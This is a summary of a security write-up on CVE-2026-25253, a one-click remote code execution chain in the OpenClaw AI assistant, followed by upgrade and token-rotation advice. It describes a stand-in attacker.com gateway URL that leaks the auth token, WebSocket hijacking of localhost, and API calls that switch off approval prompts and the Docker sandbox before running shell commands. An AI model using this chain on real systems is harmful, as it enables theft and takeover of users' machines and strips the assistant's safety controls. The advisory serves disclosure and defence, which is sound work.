1-Click RCE To Steal Your OpenClaw Data and Keys (CVE-2026-25253) | depthfirst

What it is

CVE-2026-25253 is a 1-click remote code execution chain in OpenClaw (formerly Moltbot and ClawdBot), an open-source AI assistant with local computer control and access to messaging apps. depthfirst's scanner flagged the token leak. The post's author then added a Cross-Site WebSocket Hijacking bug they found, which turns the leak into code execution on a victim's machine, including one that runs OpenClaw only on localhost.

How it works

Three code paths, each harmless alone, combine into the leak:

1. app-settings.ts reads a gatewayUrl query parameter and saves it to localStorage.
2. app-lifecycle.ts calls connectGateway() on load, straight after the URL parameters are parsed.
3. gateway.ts includes authToken in the connect handshake sent to that gateway.

Opening http://victim_openclaw.com?gatewayUrl=ws://attacker.com:8080 therefore sends the victim's token to the attacker's WebSocket server.

For an internet-facing instance, the attacker simply logs in with the token. The author lists three limits of this route: it does not work against locally running instances, it bypasses no sandbox or guardrail, and it gives no arbitrary code execution.

The author's pivot removes all three limits. OpenClaw's WebSocket server does not validate the Origin header, so JavaScript on attacker.com can open ws://localhost:18789 (the default) from the victim's browser and authenticate with the stolen token. Browsers do not apply Same Origin Policy to WebSockets, so the browser becomes the bridge to localhost.

The safety controls are managed through the same API, so the stolen token (scopes operator.admin and operator.approvals) can turn them off:

• exec.approvals.set with ask: "off" stops confirmation prompts for dangerous commands.
• config.patch setting tools.exec.host to "gateway" moves command execution out of the Docker sandbox and onto the host.
• A node.invoke request with command system.run then runs arbitrary shell commands. The proof of concept writes /tmp/hacked.

The author says the whole sequence takes milliseconds after the victim visits a page, with no typing or approval.

Preconditions / Affected

All versions up to v2026.1.24-1 are affected. The victim must visit an attacker-controlled page or link while an OpenClaw instance is reachable from their browser. The localhost variant relies on the default port 18789 in the example.

What to do

• Upgrade OpenClaw past v2026.1.24-1. The patch adds a gateway URL confirmation modal and removes auto-connect without a prompt.
• Rotate auth tokens if there is any chance they leaked.
• The post links a GitHub advisory for the issue.

Caveats

The post does not say which release contains the fix, only that versions up to v2026.1.24-1 are vulnerable. It also says a second researcher independently reported the same bug. The page shows no detection guidance and no check of whether the patch also adds Origin validation on the WebSocket server. The patch description covers only the confirmation modal.